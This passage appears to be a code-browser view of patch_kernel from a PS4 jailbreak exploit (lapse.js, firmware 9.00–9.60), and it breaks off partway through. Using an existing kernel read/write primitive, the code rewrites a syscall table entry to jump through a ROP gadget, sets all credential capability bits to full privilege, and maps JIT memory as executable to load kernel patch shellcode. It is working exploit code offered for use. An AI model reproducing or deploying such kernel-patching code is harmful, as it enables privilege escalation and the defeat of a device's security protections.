Function patch_kernel

g2all/900/lapse.js:1529–1644

(kbase, kmem, p_ucred, restore_info)

}

async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
    if (!is_ps4) {
        throw RangeError("ps5 kernel patching unsupported");
    }
    if (!(0x900 <= version && version < 0x1000)) {
		// Only 9.00-9.60 supported
        throw RangeError("kernel patching unsupported");
    }

    log("change sys_aio_submit() to sys_kexec()");
    // sysent[661] is unimplemented so free for use
    const sysent_661 = kbase.add(off_sysent_661);
    const sysent_661_save = new Buffer(0x30); // sizeof syscall
    for (let off = 0; off < sysent_661_save.size; off += 8) {
        sysent_661_save.write64(off, kmem.read64(sysent_661.add(off)));
    }
    log(`sysent[611] save addr: ${sysent_661_save.addr}`);
    log("sysent[611] save data:");
    hexdump(sysent_661_save);
    // .sy_narg = 6
    kmem.write32(sysent_661, 6);
    // .sy_call = gadgets['jmp qword ptr [rsi]']
    kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
    // .sy_thrcnt = SY_THR_STATIC
    kmem.write32(sysent_661.add(0x2c), 1);

    log("set the bits for JIT privs");
    // TODO: Just set the bits for JIT privs
    // cr_sceCaps[0] // 0x2000038000000000
    kmem.write64(p_ucred.add(0x60), -1); // 0xffffffffffffffff
    // cr_sceCaps[1] // 0x800000000000ff00
    kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff

    const buf = await get_patches(patch_elf_loc);
    const patches = new View1(await buf, 0x1000);
    let map_size = patches.size;
    const max_size = 0x10000000;
    if (map_size > max_size) {
        die(`patch file too large (>${max_size}): ${map_size}`);
    }
    if (map_size === 0) {
        die("patch file size is zero");
    }
    log(`kpatch size: ${map_size} bytes`);
    map_size = (map_size + page_size) & -page_size;

    const prot_rw = 3;
    const prot_rx = 5;
    const prot_rwx = 7;
    const exec_p = new Int(0, 9);
    const write_p = new Int(max_size, 9);

    log("open JIT fds");
    const exec_fd = sysi("jitshm_create", 0, map_size, prot_rwx);
    const write_fd = sysi("jitshm_alias", exec_fd, prot_rw);

    log("mmap for kpatch shellcode");
    const exec_addr = chain.sysp("mmap", exec_p, map_size, prot_rx, MAP_SHARED | MAP_FIXED, exec_fd, 0);